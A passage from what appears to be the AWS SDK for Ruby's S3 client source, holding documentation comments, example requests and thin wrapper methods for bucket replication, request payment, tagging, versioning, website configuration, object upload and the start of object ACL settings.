# header as a message integrity check to verify that the request body
# was not corrupted in transit. For more information, see [RFC 1864][1].
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [required, Types::ReplicationConfiguration] :replication_configuration
# A container for replication rules. You can add up to 1,000 rules. The
# maximum size of a replication configuration is 2 MB.
#
# @option params [String] :token
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set replication configuration on a bucket
#
# # The following example sets replication configuration on a bucket.
#
# resp = client.put_bucket_replication({
# bucket: "examplebucket",
# replication_configuration: {
# role: "arn:aws:iam::123456789012:role/examplerole",
# rules: [
# {
# destination: {
# bucket: "arn:aws:s3:::destinationbucket",
# storage_class: "STANDARD",
# },
# prefix: "",
# status: "Enabled",
# },
# ],
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_replication({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# replication_configuration: { # required
# role: "Role", # required
# rules: [ # required
# {
# id: "ID",
# priority: 1,
# prefix: "Prefix",
# filter: {
# prefix: "Prefix",
# tag: {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# and: {
# prefix: "Prefix",
# tags: [
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# },
# status: "Enabled", # required, accepts Enabled, Disabled
# source_selection_criteria: {
# sse_kms_encrypted_objects: {
# status: "Enabled", # required, accepts Enabled, Disabled
# },
# },
# existing_object_replication: {
# status: "Enabled", # required, accepts Enabled, Disabled
# },
# destination: { # required
# bucket: "BucketName", # required
# account: "AccountId",
# storage_class: "STANDARD", # accepts STANDARD, REDUCED_REDUNDANCY, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, GLACIER, DEEP_ARCHIVE
# access_control_translation: {
# owner: "Destination", # required, accepts Destination
# },
# encryption_configuration: {
# replica_kms_key_id: "ReplicaKmsKeyID",
# },
# replication_time: {
# status: "Enabled", # required, accepts Enabled, Disabled
# time: { # required
# minutes: 1,
# },
# },
# metrics: {
# status: "Enabled", # required, accepts Enabled, Disabled
# event_threshold: { # required
# minutes: 1,
# },
# },
# },
# delete_marker_replication: {
# status: "Enabled", # accepts Enabled, Disabled
# },
# },
# ],
# },
# token: "ObjectLockToken",
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketReplication AWS API Documentation
#
# @overload put_bucket_replication(params = {})
# @param [Hash] params ({})
def put_bucket_replication(params = {}, options = {})
req = build_request(:put_bucket_replication, params)
req.send_request(options)
end
# Sets the request payment configuration for a bucket. By default, the
# bucket owner pays for downloads from the bucket. This configuration
# parameter enables the bucket owner (only) to specify that the person
# requesting the download will be charged for the download. For more
# information, see [Requester Pays Buckets][1].
#
# The following operations are related to `PutBucketRequestPayment`\:
#
# * CreateBucket
#
# * GetBucketRequestPayment
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/RequesterPaysBuckets.html
#
# @option params [required, String] :bucket
# The bucket name.
#
# @option params [String] :content_md5
# >The base64-encoded 128-bit MD5 digest of the data. You must use
# this header as a message integrity check to verify that the request
# body was not corrupted in transit. For more information, see [RFC
# 1864][1].
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [required, Types::RequestPaymentConfiguration] :request_payment_configuration
# Container for Payer.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set request payment configuration on a bucket.
#
# # The following example sets request payment configuration on a bucket so that person requesting the download is charged.
#
# resp = client.put_bucket_request_payment({
# bucket: "examplebucket",
# request_payment_configuration: {
# payer: "Requester",
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_request_payment({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# request_payment_configuration: { # required
# payer: "Requester", # required, accepts Requester, BucketOwner
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketRequestPayment AWS API Documentation
#
# @overload put_bucket_request_payment(params = {})
# @param [Hash] params ({})
def put_bucket_request_payment(params = {}, options = {})
req = build_request(:put_bucket_request_payment, params)
req.send_request(options)
end
# Sets the tags for a bucket.
#
# Use tags to organize your AWS bill to reflect your own cost structure.
# To do this, sign up to get your AWS account bill with tag key values
# included. Then, to see the cost of combined resources, organize your
# billing information according to resources with the same tag key
# values. For example, you can tag several resources with a specific
# application name, and then organize your billing information to see
# the total cost of that application across several services. For more
# information, see [Cost Allocation and Tagging][1].
#
# <note markdown="1"> Within a bucket, if you add a tag that has the same key as an existing
# tag, the new value overwrites the old value. For more information, see
# [Using Cost Allocation in Amazon S3 Bucket Tags][2].
#
# </note>
#
# To use this operation, you must have permissions to perform the
# `s3:PutBucketTagging` action. The bucket owner has this permission by
# default and can grant this permission to others. For more information
# about permissions, see [Permissions Related to Bucket Subresource
# Operations][3] and [Managing Access Permissions to Your Amazon S3
# Resources][4].
#
# `PutBucketTagging` has the following special errors:
#
# * Error code: `InvalidTagError`
#
# * Description: The tag provided was not a valid tag. This error can
# occur if the tag did not pass input validation. For information
# about tag restrictions, see [User-Defined Tag Restrictions][5] and
# [AWS-Generated Cost Allocation Tag Restrictions][6].
#
# ^
#
# * Error code: `MalformedXMLError`
#
# * Description: The XML provided does not match the schema.
#
# ^
#
# * Error code: `OperationAbortedError `
#
# * Description: A conflicting conditional operation is currently in
# progress against this resource. Please try again.
#
# ^
#
# * Error code: `InternalError`
#
# * Description: The service was unable to apply the provided tag to
# the bucket.
#
# ^
#
# The following operations are related to `PutBucketTagging`\:
#
# * GetBucketTagging
#
# * DeleteBucketTagging
#
#
#
# [1]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/cost-alloc-tags.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/CostAllocTagging.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [5]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/allocation-tag-restrictions.html
# [6]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/aws-tag-restrictions.html
#
# @option params [required, String] :bucket
# The bucket name.
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the data. You must use this
# header as a message integrity check to verify that the request body
# was not corrupted in transit. For more information, see [RFC 1864][1].
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [required, Types::Tagging] :tagging
# Container for the `TagSet` and `Tag` elements.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set tags on a bucket
#
# # The following example sets tags on a bucket. Any existing tags are replaced.
#
# resp = client.put_bucket_tagging({
# bucket: "examplebucket",
# tagging: {
# tag_set: [
# {
# key: "Key1",
# value: "Value1",
# },
# {
# key: "Key2",
# value: "Value2",
# },
# ],
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_tagging({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# tagging: { # required
# tag_set: [ # required
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketTagging AWS API Documentation
#
# @overload put_bucket_tagging(params = {})
# @param [Hash] params ({})
def put_bucket_tagging(params = {}, options = {})
req = build_request(:put_bucket_tagging, params)
req.send_request(options)
end
# Sets the versioning state of an existing bucket. To set the versioning
# state, you must be the bucket owner.
#
# You can set the versioning state with one of the following values:
#
# **Enabled**—Enables versioning for the objects in the bucket. All
# objects added to the bucket receive a unique version ID.
#
# **Suspended**—Disables versioning for the objects in the bucket. All
# objects added to the bucket receive the version ID null.
#
# If the versioning state has never been set on a bucket, it has no
# versioning state; a GetBucketVersioning request does not return a
# versioning state value.
#
# If the bucket owner enables MFA Delete in the bucket versioning
# configuration, the bucket owner must include the `x-amz-mfa request`
# header and the `Status` and the `MfaDelete` request elements in a
# request to set the versioning state of the bucket.
#
# If you have an object expiration lifecycle policy in your
# non-versioned bucket and you want to maintain the same permanent
# delete behavior when you enable versioning, you must add a noncurrent
# expiration policy. The noncurrent expiration lifecycle policy will
# manage the deletes of the noncurrent object versions in the
# version-enabled bucket. (A version-enabled bucket maintains one
# current and zero or more noncurrent object versions.) For more
# information, see [Lifecycle and Versioning][1].
#
# **Related Resources**
#
# * CreateBucket
#
# * DeleteBucket
#
# * GetBucketVersioning
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lifecycle-mgmt.html#lifecycle-and-other-bucket-config
#
# @option params [required, String] :bucket
# The bucket name.
#
# @option params [String] :content_md5
# >The base64-encoded 128-bit MD5 digest of the data. You must use
# this header as a message integrity check to verify that the request
# body was not corrupted in transit. For more information, see [RFC
# 1864][1].
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [String] :mfa
# The concatenation of the authentication device's serial number, a
# space, and the value that is displayed on your authentication device.
#
# @option params [required, Types::VersioningConfiguration] :versioning_configuration
# Container for setting the versioning state.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set versioning configuration on a bucket
#
# # The following example sets versioning configuration on bucket. The configuration enables versioning on the bucket.
#
# resp = client.put_bucket_versioning({
# bucket: "examplebucket",
# versioning_configuration: {
# mfa_delete: "Disabled",
# status: "Enabled",
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_versioning({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# mfa: "MFA",
# versioning_configuration: { # required
# mfa_delete: "Enabled", # accepts Enabled, Disabled
# status: "Enabled", # accepts Enabled, Suspended
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketVersioning AWS API Documentation
#
# @overload put_bucket_versioning(params = {})
# @param [Hash] params ({})
def put_bucket_versioning(params = {}, options = {})
req = build_request(:put_bucket_versioning, params)
req.send_request(options)
end
# Sets the configuration of the website that is specified in the
# `website` subresource. To configure a bucket as a website, you can add
# this subresource on the bucket with website configuration information
# such as the file name of the index document and any redirect rules.
# For more information, see [Hosting Websites on Amazon S3][1].
#
# This PUT operation requires the `S3:PutBucketWebsite` permission. By
# default, only the bucket owner can configure the website attached to a
# bucket; however, bucket owners can allow other users to set the
# website configuration by writing a bucket policy that grants them the
# `S3:PutBucketWebsite` permission.
#
# To redirect all website requests sent to the bucket's website
# endpoint, you add a website configuration with the following elements.
# Because all requests are sent to another website, you don't need to
# provide index document name for the bucket.
#
# * `WebsiteConfiguration`
#
# * `RedirectAllRequestsTo`
#
# * `HostName`
#
# * `Protocol`
#
# If you want granular control over redirects, you can use the following
# elements to add routing rules that describe conditions for redirecting
# requests and information about the redirect destination. In this case,
# the website configuration must provide an index document for the
# bucket, because some requests might not be redirected.
#
# * `WebsiteConfiguration`
#
# * `IndexDocument`
#
# * `Suffix`
#
# * `ErrorDocument`
#
# * `Key`
#
# * `RoutingRules`
#
# * `RoutingRule`
#
# * `Condition`
#
# * `HttpErrorCodeReturnedEquals`
#
# * `KeyPrefixEquals`
#
# * `Redirect`
#
# * `Protocol`
#
# * `HostName`
#
# * `ReplaceKeyPrefixWith`
#
# * `ReplaceKeyWith`
#
# * `HttpRedirectCode`
#
# Amazon S3 has a limitation of 50 routing rules per website
# configuration. If you require more than 50 routing rules, you can use
# object redirect. For more information, see [Configuring an Object
# Redirect][2] in the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteHosting.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/how-to-page-redirect.html
#
# @option params [required, String] :bucket
# The bucket name.
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the data. You must use this
# header as a message integrity check to verify that the request body
# was not corrupted in transit. For more information, see [RFC 1864][1].
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [required, Types::WebsiteConfiguration] :website_configuration
# Container for the request.
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
#
# @example Example: Set website configuration on a bucket
#
# # The following example adds website configuration to a bucket.
#
# resp = client.put_bucket_website({
# bucket: "examplebucket",
# content_md5: "",
# website_configuration: {
# error_document: {
# key: "error.html",
# },
# index_document: {
# suffix: "index.html",
# },
# },
# })
#
# @example Request syntax with placeholder values
#
# resp = client.put_bucket_website({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# website_configuration: { # required
# error_document: {
# key: "ObjectKey", # required
# },
# index_document: {
# suffix: "Suffix", # required
# },
# redirect_all_requests_to: {
# host_name: "HostName", # required
# protocol: "http", # accepts http, https
# },
# routing_rules: [
# {
# condition: {
# http_error_code_returned_equals: "HttpErrorCodeReturnedEquals",
# key_prefix_equals: "KeyPrefixEquals",
# },
# redirect: { # required
# host_name: "HostName",
# http_redirect_code: "HttpRedirectCode",
# protocol: "http", # accepts http, https
# replace_key_prefix_with: "ReplaceKeyPrefixWith",
# replace_key_with: "ReplaceKeyWith",
# },
# },
# ],
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutBucketWebsite AWS API Documentation
#
# @overload put_bucket_website(params = {})
# @param [Hash] params ({})
def put_bucket_website(params = {}, options = {})
req = build_request(:put_bucket_website, params)
req.send_request(options)
end
# Adds an object to a bucket. You must have WRITE permissions on a
# bucket to add an object to it.
#
# Amazon S3 never adds partial objects; if you receive a success
# response, Amazon S3 added the entire object to the bucket.
#
# Amazon S3 is a distributed system. If it receives multiple write
# requests for the same object simultaneously, it overwrites all but the
# last object written. Amazon S3 does not provide object locking; if you
# need this, make sure to build it into your application layer or use
# versioning instead.
#
# To ensure that data is not corrupted traversing the network, use the
# `Content-MD5` header. When you use this header, Amazon S3 checks the
# object against the provided MD5 value and, if they do not match,
# returns an error. Additionally, you can calculate the MD5 while
# putting an object to Amazon S3 and compare the returned ETag to the
# calculated MD5 value.
#
# <note markdown="1"> The `Content-MD5` header is required for any request to upload an
# object with a retention period configured using Amazon S3 Object Lock.
# For more information about Amazon S3 Object Lock, see [Amazon S3
# Object Lock Overview][1] in the *Amazon Simple Storage Service
# Developer Guide*.
#
# </note>
#
# **Server-side Encryption**
#
# You can optionally request server-side encryption. With server-side
# encryption, Amazon S3 encrypts your data as it writes it to disks in
# its data centers and decrypts the data when you access it. You have
# the option to provide your own encryption key or use AWS managed
# encryption keys. For more information, see [Using Server-Side
# Encryption][2].
#
# **Access Control List (ACL)-Specific Request Headers**
#
# You can use headers to grant ACL- based permissions. By default, all
# objects are private. Only the owner has full access control. When
# adding a new object, you can grant permissions to individual AWS
# accounts or to predefined groups defined by Amazon S3. These
# permissions are then added to the ACL on the object. For more
# information, see [Access Control List (ACL) Overview][3] and [Managing
# ACLs Using the REST API][4].
#
# **Storage Class Options**
#
# By default, Amazon S3 uses the STANDARD storage class to store newly
# created objects. The STANDARD storage class provides high durability
# and high availability. Depending on performance needs, you can specify
# a different storage class. For more information, see [Storage
# Classes][5] in the *Amazon S3 Service Developer Guide*.
#
# **Versioning**
#
# If you enable versioning for a bucket, Amazon S3 automatically
# generates a unique version ID for the object being stored. Amazon S3
# returns this ID in the response. When you enable versioning for a
# bucket, if Amazon S3 receives multiple write requests for the same
# object simultaneously, it stores all of the objects.
#
# For more information about versioning, see [Adding Objects to
# Versioning Enabled Buckets][6]. For information about returning the
# versioning state of a bucket, see GetBucketVersioning.
#
# **Related Resources**
#
# * CopyObject
#
# * DeleteObject
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock-overview.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingServerSideEncryption.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-using-rest-api.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-class-intro.html
# [6]: https://docs.aws.amazon.com/AmazonS3/latest/dev/AddingObjectstoVersioningEnabledBuckets.html
#
# @option params [String] :acl
# The canned ACL to apply to the object. For more information, see
# [Canned ACL][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#CannedACL
#
# @option params [String, IO] :body
# Object data.
#
# @option params [required, String] :bucket
# Bucket name to which the PUT operation was initiated.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [String] :cache_control
# Can be used to specify caching behavior along the request/reply chain.
# For more information, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9][1].
#
#
#
# [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
#
# @option params [String] :content_disposition
# Specifies presentational information for the object. For more
# information, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.5.1][1].
#
#
#
# [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.5.1
#
# @option params [String] :content_encoding
# Specifies what content encodings have been applied to the object and
# thus what decoding mechanisms must be applied to obtain the media-type
# referenced by the Content-Type header field. For more information, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11][1].
#
#
#
# [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11
#
# @option params [String] :content_language
# The language the content is in.
#
# @option params [Integer] :content_length
# Size of the body in bytes. This parameter is useful when the size of
# the body cannot be determined automatically. For more information, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13][1].
#
#
#
# [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the message (without the
# headers) according to RFC 1864. This header can be used as a message
# integrity check to verify that the data is the same data that was
# originally sent. Although it is optional, we recommend using the
# Content-MD5 mechanism as an end-to-end integrity check. For more
# information about REST request authentication, see [REST
# Authentication][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/RESTAuthentication.html
#
# @option params [String] :content_type
# A standard MIME type describing the format of the contents. For more
# information, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.17][1].
#
#
#
# [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.17
#
# @option params [Time,DateTime,Date,Integer,String] :expires
# The date and time at which the object is no longer cacheable. For more
# information, see
# [http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.21][1].
#
#
#
# [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.21
#
# @option params [String] :grant_full_control
# Gives the grantee READ, READ\_ACP, and WRITE\_ACP permissions on the
# object.
#
# @option params [String] :grant_read
# Allows grantee to read the object data and its metadata.
#
# @option params [String] :grant_read_acp
# Allows grantee to read the object ACL.
#
# @option params [String] :grant_write_acp
# Allows grantee to write the ACL for the applicable object.
#
# @option params [required, String] :key
# Object key for which the PUT operation was initiated.
#
# @option params [Hash<String,String>] :metadata
# A map of metadata to store with the object in S3.
#
# @option params [String] :server_side_encryption
# The server-side encryption algorithm used when storing this object in
# Amazon S3 (for example, AES256, aws:kms).
#
# @option params [String] :storage_class
# If you don't specify, S3 Standard is the default storage class.
# Amazon S3 supports other storage classes.
#
# @option params [String] :website_redirect_location
# If the bucket is configured as a website, redirects requests for this
# object to another object in the same bucket or to an external URL.
# Amazon S3 stores the value of this header in the object metadata. For
# information about object metadata, see [Object Key and Metadata][1].
#
# In the following example, the request header sets the redirect to an
# object (anotherPage.html) in the same bucket:
#
# `x-amz-website-redirect-location: /anotherPage.html`
#
# In the following example, the request header sets the object redirect
# to another website:
#
# `x-amz-website-redirect-location: http://www.example.com/`
#
# For more information about website hosting in Amazon S3, see [Hosting
# Websites on Amazon S3][2] and [How to Configure Website Page
# Redirects][3].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMetadata.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/WebsiteHosting.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/how-to-page-redirect.html
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm` header.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :ssekms_key_id
# If `x-amz-server-side-encryption` is present and has the value of
# `aws:kms`, this header specifies the ID of the AWS Key Management
# Service (AWS KMS) symmetrical customer managed customer master key
# (CMK) that was used for the object.
#
# If the value of `x-amz-server-side-encryption` is `aws:kms`, this
# header specifies the ID of the symmetric customer managed AWS KMS CMK
# that will be used for the object. If you specify
# `x-amz-server-side-encryption:aws:kms`, but do not provide`
# x-amz-server-side-encryption-aws-kms-key-id`, Amazon S3 uses the AWS
# managed CMK in AWS to protect the data.
#
# @option params [String] :ssekms_encryption_context
# Specifies the AWS KMS Encryption Context to use for object encryption.
# The value of this header is a base64-encoded UTF-8 string holding JSON
# with the encryption context key-value pairs.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :tagging
# The tag-set for the object. The tag-set must be encoded as URL Query
# parameters. (For example, "Key1=Value1")
#
# @option params [String] :object_lock_mode
# The Object Lock mode that you want to apply to this object.
#
# @option params [Time,DateTime,Date,Integer,String] :object_lock_retain_until_date
# The date and time when you want this object's Object Lock to expire.
#
# @option params [String] :object_lock_legal_hold_status
# Specifies whether a legal hold will be applied to this object. For
# more information about S3 Object Lock, see [Object Lock][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @return [Types::PutObjectOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutObjectOutput#expiration #expiration} => String
# * {Types::PutObjectOutput#etag #etag} => String
# * {Types::PutObjectOutput#server_side_encryption #server_side_encryption} => String
# * {Types::PutObjectOutput#version_id #version_id} => String
# * {Types::PutObjectOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::PutObjectOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::PutObjectOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::PutObjectOutput#ssekms_encryption_context #ssekms_encryption_context} => String
# * {Types::PutObjectOutput#request_charged #request_charged} => String
#
#
# @example Example: To upload an object and specify server-side encryption and object tags
#
# # The following example uploads and object. The request specifies the optional server-side encryption option. The request
# # also specifies optional object tags. If the bucket is versioning enabled, S3 returns version ID in response.
#
# resp = client.put_object({
# body: "filetoupload",
# bucket: "examplebucket",
# key: "exampleobject",
# server_side_encryption: "AES256",
# tagging: "key1=value1&key2=value2",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# server_side_encryption: "AES256",
# version_id: "Ri.vC6qVlA4dEnjgRV4ZHsHoFIjqEMNt",
# }
#
# @example Example: To create an object.
#
# # The following example creates an object. If the bucket is versioning enabled, S3 returns version ID in response.
#
# resp = client.put_object({
# body: "filetoupload",
# bucket: "examplebucket",
# key: "objectkey",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# version_id: "Bvq0EDKxOcXLJXNo_Lkz37eM3R4pfzyQ",
# }
#
# @example Example: To upload an object and specify optional tags
#
# # The following example uploads an object. The request specifies optional object tags. The bucket is versioned, therefore
# # S3 returns version ID of the newly created object.
#
# resp = client.put_object({
# body: "c:\\HappyFace.jpg",
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# tagging: "key1=value1&key2=value2",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# version_id: "psM2sYY4.o1501dSx8wMvnkOzSBB.V4a",
# }
#
# @example Example: To upload an object (specify optional headers)
#
# # The following example uploads an object. The request specifies optional request headers to directs S3 to use specific
# # storage class and use server-side encryption.
#
# resp = client.put_object({
# body: "HappyFace.jpg",
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# server_side_encryption: "AES256",
# storage_class: "STANDARD_IA",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# server_side_encryption: "AES256",
# version_id: "CG612hodqujkf8FaaNfp8U..FIhLROcp",
# }
#
# @example Example: To upload object and specify user-defined metadata
#
# # The following example creates an object. The request also specifies optional metadata. If the bucket is versioning
# # enabled, S3 returns version ID in response.
#
# resp = client.put_object({
# body: "filetoupload",
# bucket: "examplebucket",
# key: "exampleobject",
# metadata: {
# "metadata1" => "value1",
# "metadata2" => "value2",
# },
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# version_id: "pSKidl4pHBiNwukdbcPXAIs.sshFFOc0",
# }
#
# @example Example: To upload an object and specify canned ACL.
#
# # The following example uploads and object. The request specifies optional canned ACL (access control list) to all READ
# # access to authenticated users. If the bucket is versioning enabled, S3 returns version ID in response.
#
# resp = client.put_object({
# acl: "authenticated-read",
# body: "filetoupload",
# bucket: "examplebucket",
# key: "exampleobject",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# version_id: "Kirh.unyZwjQ69YxcQLA8z4F5j3kJJKr",
# }
#
# @example Example: To upload an object
#
# # The following example uploads an object to a versioning-enabled bucket. The source file is specified using Windows file
# # syntax. S3 returns VersionId of the newly created object.
#
# resp = client.put_object({
# body: "HappyFace.jpg",
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"6805f2cfc46c0f04559748bb039d69ae\"",
# version_id: "tpf3zF08nBplQK1XLOefGskR7mGDwcDk",
# }
#
# @example Streaming a file from disk
# # upload file from disk in a single request, may not exceed 5GB
# File.open('/source/file/path', 'rb') do |file|
# s3.put_object(bucket: 'bucket-name', key: 'object-key', body: file)
# end
#
# @example Request syntax with placeholder values
#
# resp = client.put_object({
# acl: "private", # accepts private, public-read, public-read-write, authenticated-read, aws-exec-read, bucket-owner-read, bucket-owner-full-control
# body: source_file,
# bucket: "BucketName", # required
# cache_control: "CacheControl",
# content_disposition: "ContentDisposition",
# content_encoding: "ContentEncoding",
# content_language: "ContentLanguage",
# content_length: 1,
# content_md5: "ContentMD5",
# content_type: "ContentType",
# expires: Time.now,
# grant_full_control: "GrantFullControl",
# grant_read: "GrantRead",
# grant_read_acp: "GrantReadACP",
# grant_write_acp: "GrantWriteACP",
# key: "ObjectKey", # required
# metadata: {
# "MetadataKey" => "MetadataValue",
# },
# server_side_encryption: "AES256", # accepts AES256, aws:kms
# storage_class: "STANDARD", # accepts STANDARD, REDUCED_REDUNDANCY, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, GLACIER, DEEP_ARCHIVE
# website_redirect_location: "WebsiteRedirectLocation",
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# ssekms_key_id: "SSEKMSKeyId",
# ssekms_encryption_context: "SSEKMSEncryptionContext",
# request_payer: "requester", # accepts requester
# tagging: "TaggingHeader",
# object_lock_mode: "GOVERNANCE", # accepts GOVERNANCE, COMPLIANCE
# object_lock_retain_until_date: Time.now,
# object_lock_legal_hold_status: "ON", # accepts ON, OFF
# })
#
# @example Response structure
#
# resp.expiration #=> String
# resp.etag #=> String
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.version_id #=> String
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.ssekms_encryption_context #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObject AWS API Documentation
#
# @overload put_object(params = {})
# @param [Hash] params ({})
def put_object(params = {}, options = {})
req = build_request(:put_object, params)
req.send_request(options)
end
# Uses the `acl` subresource to set the access control list (ACL)
# permissions for an object that already exists in a bucket. You must
# have `WRITE_ACP` permission to set the ACL of an object.
#
# Depending on your application needs, you can choose to set the ACL on
# an object using either the request body or the headers. For example,
# if you have an existing application that updates a bucket ACL using
# the request body, you can continue to use that approach. For more
# information, see [Access Control List (ACL) Overview][1] in the
# *Amazon S3 Developer Guide*.
#
# **Access Permissions**
#
# You can set access permissions using one of the following methods:
#
# * Specify a canned ACL with the `x-amz-acl` request header. Amazon S3
# supports a set of predefined ACLs, known as canned ACLs. Each canned
# ACL has a predefined set of grantees and permissions. Specify the
# canned ACL name as the value of `x-amz-ac`l. If you use this header,
# you cannot use other access control-specific headers in your
